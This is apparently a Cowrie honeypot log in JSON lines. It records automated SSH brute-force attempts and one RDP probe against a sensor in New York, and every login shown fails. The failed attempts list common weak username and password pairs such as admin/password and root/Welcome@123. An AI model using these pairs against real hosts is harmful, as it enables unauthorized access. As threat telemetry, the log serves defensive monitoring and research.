{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44148,"dst_ip":"159.203.135.109","dst_port":22,"session":"29239bd4251a","protocol":"ssh","message":"New connection: 45.156.87.254:44148 (159.203.135.109:22) [session: 29239bd4251a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:02.408136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:02.414608Z","src_ip":"45.156.87.254","session":"29239bd4251a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:02.499036Z","src_ip":"45.156.87.254","session":"29239bd4251a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:02.761207Z","src_ip":"45.156.87.254","session":"29239bd4251a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":39702,"dst_ip":"10.17.0.5","dst_port":22,"session":"25b9c0b5dd83","protocol":"ssh","message":"New connection: 185.16.214.226:39702 (10.17.0.5:22) [session: 25b9c0b5dd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:03.189463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:03.195703Z","src_ip":"185.16.214.226","session":"25b9c0b5dd83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:03.324019Z","src_ip":"185.16.214.226","session":"25b9c0b5dd83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertytest","message":"login attempt [test/qwertytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:03.865422Z","src_ip":"185.16.214.226","session":"25b9c0b5dd83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:03.965322Z","src_ip":"45.156.87.254","session":"29239bd4251a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:04.996477Z","src_ip":"185.16.214.226","session":"25b9c0b5dd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44158,"dst_ip":"159.203.135.109","dst_port":22,"session":"84fb3042c791","protocol":"ssh","message":"New connection: 45.156.87.254:44158 (159.203.135.109:22) [session: 84fb3042c791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:07.505512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:07.522839Z","src_ip":"45.156.87.254","session":"84fb3042c791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:07.611892Z","src_ip":"45.156.87.254","session":"84fb3042c791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:07.905907Z","src_ip":"45.156.87.254","session":"84fb3042c791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:08.997861Z","src_ip":"45.156.87.254","session":"84fb3042c791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55640,"dst_ip":"159.203.135.109","dst_port":22,"session":"f48b77a11a03","protocol":"ssh","message":"New connection: 45.156.87.254:55640 (159.203.135.109:22) [session: f48b77a11a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:12.477590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:12.482937Z","src_ip":"45.156.87.254","session":"f48b77a11a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:12.577417Z","src_ip":"45.156.87.254","session":"f48b77a11a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:12.837726Z","src_ip":"45.156.87.254","session":"f48b77a11a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:13.926623Z","src_ip":"45.156.87.254","session":"f48b77a11a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.420167207717896,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:17.446712Z","src_ip":"20.123.41.163","session":"be9e0493f383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55648,"dst_ip":"159.203.135.109","dst_port":22,"session":"46f2e5041b6c","protocol":"ssh","message":"New connection: 45.156.87.254:55648 (159.203.135.109:22) [session: 46f2e5041b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:17.626887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:17.637400Z","src_ip":"45.156.87.254","session":"46f2e5041b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:17.723611Z","src_ip":"45.156.87.254","session":"46f2e5041b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:17.981247Z","src_ip":"45.156.87.254","session":"46f2e5041b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:19.071192Z","src_ip":"45.156.87.254","session":"46f2e5041b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42324,"dst_ip":"159.203.135.109","dst_port":22,"session":"06cbd193604b","protocol":"ssh","message":"New connection: 45.156.87.254:42324 (159.203.135.109:22) [session: 06cbd193604b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:23.497678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:23.503474Z","src_ip":"45.156.87.254","session":"06cbd193604b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:23.588495Z","src_ip":"45.156.87.254","session":"06cbd193604b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":50981,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8eb094a029d","protocol":"ssh","message":"New connection: 103.149.252.223:50981 (159.203.135.109:22) [session: c8eb094a029d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:23.982588Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:23.989966Z","src_ip":"103.149.252.223","session":"c8eb094a029d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:23.994924Z","src_ip":"103.149.252.223","session":"c8eb094a029d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:24.042909Z","src_ip":"45.156.87.254","session":"06cbd193604b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.08684778213501,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:25.002489Z","src_ip":"20.123.41.163","session":"91329fd320e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:25.146131Z","src_ip":"45.156.87.254","session":"06cbd193604b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59882,"dst_ip":"159.203.135.109","dst_port":22,"session":"0efc56620f53","protocol":"ssh","message":"New connection: 45.156.87.254:59882 (159.203.135.109:22) [session: 0efc56620f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:29.193055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:29.198204Z","src_ip":"45.156.87.254","session":"0efc56620f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:29.286241Z","src_ip":"45.156.87.254","session":"0efc56620f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:29.544673Z","src_ip":"45.156.87.254","session":"0efc56620f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:30.636590Z","src_ip":"45.156.87.254","session":"0efc56620f53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59896,"dst_ip":"159.203.135.109","dst_port":22,"session":"255da9c76975","protocol":"ssh","message":"New connection: 45.156.87.254:59896 (159.203.135.109:22) [session: 255da9c76975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:35.027952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:35.037635Z","src_ip":"45.156.87.254","session":"255da9c76975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:35.121493Z","src_ip":"45.156.87.254","session":"255da9c76975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:35.374447Z","src_ip":"45.156.87.254","session":"255da9c76975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:36.508546Z","src_ip":"45.156.87.254","session":"255da9c76975","protocol":"ssh"}
